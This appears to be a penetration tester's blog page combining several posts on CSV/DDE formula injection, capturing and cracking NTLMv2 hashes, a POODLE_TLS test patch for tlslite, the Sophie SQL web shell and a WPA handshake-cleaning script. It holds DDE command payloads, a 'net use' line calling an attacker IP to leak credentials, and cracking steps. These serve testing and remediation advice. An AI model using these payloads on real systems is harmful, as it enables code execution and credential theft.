[EDIT - for more of the CSV and CMD and less of the qwerty, take a look at this presentation I did later in the year.]

From CSV to CMD

DDE is an old Microsoft technology used to facilitate data transfer between applications, a form of Inter-Process Communication (IPC). The security risks in the context of web applications were, to my knowledge, first published here by James Kettle (I would have sworn this technique was around before 2014 – how time flies).

A brief reminder then: imagine an export function in a web app, where some of the data in the cells comes from user input (so like persistent XSS it is stored and later reflected) e.g. consider an application that stores the following parameter value:

=cmd|'/k ipconfig'!A0

On requesting an export, a CSV file is returned that includes this value in a field. When this file is opened, Excel knows that this DDE reference could be dangerous and issues a couple of warnings:In this case, an eagle-eyed user might raise an eyebrow at CMD.EXE but, as the original article notes, if the user requested the Excel file and it came from a source they trust, why wouldn’t it be secure? And we know that users click through warnings anyway.

When cmd /k ipconfig runs, the /k persists the command window for a screenshot to use in the report In fact, without that persistence, the command seems to run in a minimised window and then of course exits, which is rather nice for our attacker. I should say that export to CSV seems to be cleaner from the attacker’s perspective than export to XLS or XLSX, which often requires extra action by the user to activate the payload such as clicking into the malicious cell, which isn’t desirable. All of this behaviour is subject to the version of Excel running and its configuration.

From CMD to qwerty

The war story concerned an internal application that was vulnerable to the DDE trick, and so I started playing around with payloads that would be more exciting than ipconfig or calc. Here’s a simple one:

cmd /c net use \\<attacker_IP>\c$

In this case the “attacker_IP” belonged to a locked-down workstation (no pentest laptops allowed) – but it did, curiously enough, have Wireshark installed. So here was the “net use” connection from the “victim” (which was in fact a machine I was using and thus I knew the username and password):Bear in mind this was an internal test: if the victim was using a vulnerable internet-facing website, their ISP would likely [cough] block the outgoing SMB connection.

I was dealing with NTLMv2 here: a quick reminder showed that I needed to pull out the following for John:

username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

What’s in green is known at this point (“NETNTLMv2″ is a constant). I could immediately fill in the domain and username fields as they’re given away in cleartext by the NTLMv2 exchange, helpfully pulled out in the (obfuscated) Packet List above (and anonymised below):

smithjer:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

So what about the other bits? They all relate to the NTLM authentication, which is a challenge-handshake protocol:

1. Client > Server (Type 1, negotiation)
Features supported by the client and requested of the server
2. Server > Client (Type 2, challenge)
Features supported and agreed upon by the server + a challenge
3. Client > Server (Type 3, authentication)
More information about the client + response(s)

The essential difference between NTLM and NTLMv2 is how the response is calculated. NTLM uses MD4 and DES in a weak way which is well known (5 NULL bytes yada yada yada); NTLMv2 uses HMAC-MD5 based on more than just the password and challenge, which is where the “blob” comes in. So that’s covered off the “challenge”, “HMAC-MD5″ and “blob” that’s missing from the John hash I’m having to build up from scratch. (Remember, I had no tools, otherwise Responder would have made this easy.) Here’s the challenge:And here’s the HMAC-MD5 and blob (which is everything after the HMAC in the “NTLM Response tree”):To get the blob, you can copy the NTLM Response bytes from within Wireshark and remove the first 16 bytes (which is the HMAC). The blob is likely to start 0×01010000…So we now have:

smithjer:$NETNTLMv2$domain$36edff8376e59e18$4f68b56e9ce788d010f58b4f049b5c7f$0101000000000000295779de01bbd001b6f955bf062e...

That’s the hard part done, right? Wrong.

Let’s get cracking

Here was John’s response (bear in mind I knew the password), and, after duly modifying the hash format, hashcat wasn’t happy either:Note the “skipping line” error. Turns out hashcat has a bug, which (I later found out) oclhashcat doesn’t suffer from. I experimented with it and reported it – hashcat has problems when the blob length is over 224 bytes. For some reason, it’s not been assigned a “bug” label but a “new feature” label. Anyway, back to John: remember the format on the cheatsheet was:

username:$NETNTLMv2$domain$challenge$HMAC-MD5$blob

Turns out the hashcat format worked a treat, i.e.

username::domain:challenge:HMAC-MD5:blob

To be fair to pentestmonkey, “this sheet was originally based on john-1.7.8-jumbo-5. Changes in supported hashes or hash formats since then may not be reflected on this page”, and I was using a later version. Anyway, all’s well that ends well:

catflap

In order to look into the bug I found, I wrote a script (which I called catflap) that serves two purposes:

1. It extracts what hashcat needs from the NTLMv2 exchange in a Wireshark capture file.
2. It allows you to produce a more realistic test case to check your NTLMv2 cracker is working properly. For this catflap will accept a normal hash format from a file as well as a capture file. catflap will recalculate the NTLMv2 response based on a password you supply. This means all the other variables (username, domain, challenge and, crucially, the blob) in the resulting test hash are exactly the same as the ones in your captured exchange, but in this test case you know the password. In this way you can ensure your cracking tool is working correctly, and acts as a better test than the standard hash examples out there, useful though they are. Of course, you could also play about with other inputs, which is what I did with the blob find the bug.

Usage is simply:

catflap <capture_file | hashcat_file> [password]

The following shows catflap changing the HMAC response to set the password to “password”:You can then run that edited hash through your cracker of choice to ensure it spits out “password”. If not, something’s gone wrong. You can find catflap on github.

Input validation and sanitisation

Whenever I find an Excel export function in a web app, most of the time the DDE trick works because the characters used to launch the payload aren’t the usual suspects. It’s not a well-known attack vector, even among pentesters (or at least it’s been forgotten) so it’s worth remembering to check for this.

What about remediation? The original article on this stated that “the best defence strategy we are aware of is prefixing cells that start with ‘=’ with an apostrophe”. Last month this topic came up in a company-wide discussion at work, and my colleague Cara Marie noted that ‘+’ and ‘-’ could be used to launch a command too. Turns out (thanks to Michael Roberts, another NCC bod) that this had been lurking around for while, for example here). Michael added that you can also use ‘@’ in the format:

@SUM(cmd|'/c calc'!A0)

as well as surrounding the payload with quotes such as:

"=cmd|'/c calc'!A0".

Over this last month the original article has been updated twice to reflect the same findings (except for the use of quotes). So, as far as I know, two independent groups came up with new bypasses for the original recommendation. The point here, then, is that the blacklist approach by itself often fails (which shouldn’t be news to anyone who’s done a re-test). We need to perform validation based on a whitelist of characters and syntax wherever possible. For example, if a field is a phone number, there should be no need for characters such as ‘=’ and ‘@’. Starting off with ‘+’ is reasonable (prefixing an international dialling code) but after that we shouldn’t see any non-numeric characters. We can also restrict the length of that field too. With these restrictions in place, we don’t even need to implement (and maintain) a blacklist.

Red teaming

The story of this article was set around a web application that allowed export but the DDE trick is valuable to red teams trying to get malicious attachments through email. The reason for this is that a DDE payload isn’t a macro and files that use it are often able to fly through perimeter content checks that would stop files with macros.

What is tlslite?

From the source “TLS Lite is an open source python library that implements SSL and TLS”. I’d seen references to it in the original BEAST post written by Thai Duong and an article on TLS Prober by Yngve Pettersen. This gave me some confidence that tlslite would be a good starting point. Obviously it’s not going to be fast but that doesn’t matter. With a SSL/TLS implementation in a high level language, it would be much easier to make the changes required for the sorts of tests I wanted to run, and I thought POODLE_TLS would be a good one to try first.

TLS Prober is in fact where I wanted to be heading. It works on a modified version of tlslite to test for various SSL/TLS bugs. However, the public source code hasn’t been updated since Yngve left Opera in 2013 and thus wouldn’t cover POODLE_TLS. While I could have added that capability, I decided to ignore TLS Prober (for now) and start afresh with the latest tlslite – mainly as it would be a good learning experience.

How to test for POODLE_TLS

I’m not going to re-hash theory that’s already covered elsewhere. Suffice to say that implementations of TLS that are faithful to the RFC shouldn’t be vulnerable to POODLE because the spec states what the contents of the padding bytes should be. Therefore, the way to test for POODLE_TLS is to ignore that rule and see if the connection is terminated by the server. This isn’t the same as performing a full attack but like all testing you have to compromise between accuracy and aggressiveness. I think this test is a good indication. After some rummaging through the source code and a bit of debugging, I found what I wanted.

Changes to tlslite

It seemed a bit crazy to fork the original project as my changes were tiny. I also thought that working through the changes here may be helpful to anyone else who wants to do the same sort of thing.

So to begin with I needed to signal to tlslite that I wanted to send TLS messages with invalid padding. You get things going with tlslite through the TLSConnection class so I changed how that was instantiated. TLSConnection inherits from TLSRecordLayer, which is where the padding code lives, so that needed changing too. Within the “tlslite” folder I made the following changes (obviously line numbers will be version dependent so I’ve added the original code too; my version was 0.4.8):

tlsconnection.py
Line 52 was:
def __init__(self, sock):
Now:
def __init__(self, sock, check_poodle_tls=False):
# now i can signal whether or not I want to perform the test
# if you already have tlslite, you can change it safely because check_poodle_tls defaults to False so it’s backward-compatible with any existing code that makes use of tlslite

Line 61 was:
TLSRecordLayer.__init__(self, sock)
Now:
TLSRecordLayer.__init__(self, sock, check_poodle_tls)
# I need to pass that signal on to the parent

tlsrecordlayer.py
Line 102 was:
def __init__(self, sock):
Now:
def __init__(self, sock, check_poodle_tls):

After line 103 self.sock = sock added new line:
self.check_poodle_tls = check_poodle_tls

After line 600 paddingBytes = bytearray([paddingLength] * (paddingLength+1)) added new lines:
if self.check_poodle_tls == True:
paddingBytes = bytearray(x ^ 42 for x in paddingBytes[0:-1])
paddingBytes.append(paddingLength)
# change all but the last of the padding bytes to be invalid (just XOR with 42, the answer to everything)
# make the last byte of padding valid = the number of padding bytes

And that’s it! Remember, as it’s Python, that tabs are important and the new code needs to be properly aligned.

POODLE_TLS test script

I then created the test script (available here), which attempts a normal TLS connection first before testing for POODLE using the invalid padding trick. Place the script within the modified tlslite and run it as test_poodle_tls.py <hostname>. Remember, it only tests for POODLE over TLS, not SSLv3.

I’ve noticed that sometimes the normal connection fails and one of the reasons for this is that the server does not support any of the small number of cipher suites offered by tlslite. In this case no conclusion can be drawn – and the script catches that.

If you can exploit a flaw to upload files to an executable directory in an IIS environment, there are plenty of web shells around (some of which may be trojaned but that’s another issue) to give you an interactive command prompt via your browser. If the application makes use of a MS-SQL database, the same flaw can be used to upload Sophie, a “web SQL shell”, giving you access to the database via your browser as well:

As with SQL injection, the level of access will depend on how the application and database have been configured.

Sophie automatically parses the web.config file from the current application context for connection strings. In ASP.NET 1.0 and 1.1, connection strings were stored in the <appSettings> section. From ASP.NET 2.0, a specific <connectionStrings> section was made available for just this purpose. Nonetheless, it’s still possible (and you often see) connection strings stored in <appSettings>, therefore Sophie looks in both sections. What’s easy about the <connectionStrings> section is that, because it is precisely designed to hold connection strings, ASP.NET provides a convenient way to access them. In contrast, <appSettings> can contain all sorts of information so there aren’t any functions that distinguish connection strings from other settings. Sophie uses some good old-fashioned guesswork, enumerating all keys within <appSettings> and for each one looking at its name and value for keywords that suggest it is a connection string. This is obviously prone to false positives and false negatives. To account for the latter, Sophie has a button “Get All” that shows all <appSettings> keys for you to review (and if you spot a connection string that Sophie missed by default, please let me know):

If you find nothing of interest and are now facing an overwhelming number of keys, you can always click “Revert”.

Having selected a connection string, you can click “Get Info” to collect some basic information about the level of access that the connection string provides:

Or you can type some arbitrary SQL and click “Execute”:

The error handling (like the styling!) is, er, shall we say basic, but hopefully you will find Sophie a useful addition to your pentesting toolkit.

Download v.0.2

If you’ve ever tested Aircrack against a packet capture containing a handshake from a network whose WPA/WPA2 passphrase is known, you may have sometimes frowned at the “Passphrase not in dictionary” message. One possibility for this is noted on the (excellent) Aircrack website – http://www.aircrack-ng.org/doku.php?id=aircrack-ng#wpa_wpa2_handshake_analysis_fails. Essentially Aircrack hasn’t parsed the handshake from the capture correctly because there is too much “noise”. If Aircrack picks packets from different 4-way handshake exchanges then the passphrase will not be found, even if it’s in the dictionary. A tool called “wpaclean” (which is included in Backtrack) tidies up four-way handshake captures but, in my experiments, it didn’t always work so I wrote an alternative clean-up script, called William, that gives you more control. The usage is:

william.sh <output_file> <input_file> [<input_file_2>...] [<mth_packet_2> [<nth_packet_1>]] [-f | -a] [-A <dict_file>] [-d]

m mth second packet of 4-way handshake (default 1)
n nth first packet of 4-way handshake that precedes the chosen second packet (default 1)
-f seek first message from start of capture working forwards
-a pair up ALL message 1s that precede the chosen message 2 (multiple output files)
-A run aircrack-ng against output files using the supplied dictionary file
-d don't skip duplicate packets
--help extra help

William is a bash script. If I’d known how it would turn out, I would have chosen another programming route, but never mind, it still works as a proof of concept. Let me explain how it works, which in turn will explain what the switches do. Here’s a messy capture file from attempts to crack the WPA2 key of a client using Airbase as a rogue access point. (In my experiments, using Airbase against clients as opposed to sniffing legitimate 4-way handshakes tended to make noisier capture files.) As a client-side attack, only the first 2 of the 4 messages in the 4-way handshake were captured (but that’s enough for Aircrack to work on):

The first EAPOL frame is selected, which Wireshark informs us is the first of the 4 messages in the 4-way handshake. Note the “WPA Key Nonce” value. Now let’s move to the second EAPOL frame:

The “WPA Key Nonce” is exactly the same. So the packet was either transmitted twice or recorded twice, which can happen when you’re sniffing on an interface that’s also engaged in active testing. Let’s move to the third EAPOL frame:

Now the “WPA Key Nonce” is different, so this constitutes a second attempt at sending a first handshake message. Now let’s look at the first instance of a second message in the 4-way handshake:

It turns out that there have been 14 unique first packets sent up to this point so the question is, which of them does this second message correspond to? Park that problem for now and note the “WPA Key MIC” value above instead. Let’s move to the next second message:

It’s apparently the same – no surprise, given what we saw earlier. But it turns out the third instance of the second handshake message is the same too.  And so is the fourth, the fifth, the sixth…When all these first and second handshake messages are mixed up, it’s no wonder that Aircrack can sometimes produce false negatives. When I ran wpaclean it picked the 14th (i.e. the last) first message and the 1st second message. In other words it picks the first instance of a second message and works backwards to pick the first handshake message. Perfectly reasonable – but in this particular case Aircrack failed to find the passphrase from this pairing. Like Aircrack, wpaclean’s logic is fixed, so I wrote William to give you more options. The default is that it works just like wpaclean, as there’s nothing wrong with its logic. If you use the -f switch, however, William picks the first handshake message by working forwards from the start of the capture.

The n and m switches give you the freedom to try out your own pairings. If you run William with a single number 2 (i.e. william.sh <out_file> <in_file> 2) it picks the 2nd instance of a second handshake message and works backwards to find the first handshake message. The second message is always counted forwards from the start of the capture file. If you run William with the numbers 2 4, it picks the 4th first handshake message working backwards from the 2nd instance of a second handshake message. Adding -f to this would count the 4th first message from the start of the capture file. The –help switch gives more examples.

If you think about it, the second message of the handshake must correspond to one of the first messages that preceded it (assuming the capture is complete). So William informs you of how many unique first messages there were as a guide. If you select the -a option, William will generate capture files that pair the chosen second message with all the preceding first messages (working backwards from the second message), each file containing a different pairing. This brute-force method should succeed, assuming the passphrase is in your dictionary, but it will be more time-consuming.

AUTOMATED AIRCRACK

If you use the -A switch followed by the path to a dictionary file, William will run all output files through Aircrack automatically. It’s especially worth running this with -a because William will run Aircrack as the message pairs are written to file, so you may find the passphrase without having to wait for all the combinations to be generated. A successful screenshot follows:

DUPLICATES

As noted above, it’s possible that your capture file contains duplicate messages. By default, duplicates are ignored when counting the packet positions. If you use the -d option, duplicates are not ignored, i.e. the nth first packet and mth second packet are counted based entirely on their order of appearance in the file. As before, the second message is always counted forwards from the start of the capture file and the direction in which the first message is counted is set by the presence or absence of -f. The -d option won’t have much practical effect, it’s really just for experimentation.

THE NEED FOR A CORRECT SSID

When Aircrack parses a capture file, it first looks for the SSID of the network(s) whose traffic has been sniffed, and if it doesn’t find any it gives up. Why? Because the SSID is used with the passphrase to generate the Pairwaise Master Key. So even if you have the correct first and second handshake packets, without the correct SSID Aircrack will fail. William looks for packets that disclose the SSID based on the BSSID of the chosen second EAPOL message. If for some reason you’re unlucky enough to miss this, the script will ask you for a SSID and create a fake probe response packet to satisfy Aircrack.

INPUT

Multiple input files can be specified. If you’ve used Airodump with –write wpa, for example, it’s best to run William with the input wpa*.cap.

OUTPUT

The output file is the first parameter. If the -a switch has been used, the output filenames include a number to distinguish them. The number is an ordinal reflecting the position of the first message in the capture file so, as William works backwards from the second message, the number starts high and counts down to 1.

THE REAL WORLD

On a pentest job, outside the comfort of a known test environment, if Aircrack tells you the password isn’t in the dictionary, you have to believe it. Hopefully this posting will give you a few more ideas and you may want to run a few iterations of William just in case. I would suggest the following order, using -A <dictionary_file> each time:

1. Try REVERSE mode to mimic wpaclean (default, don’t specify -f or -a)
2. Try FORWARD mode with -f
3. Run ALL mode with -a

DOWNLOAD

Download v.0.1

NODS

This script is an extension of wpaclean and owes everything to the fantastic Wireshark command-line toolset, specifically tshark, mergecap and text2pcap.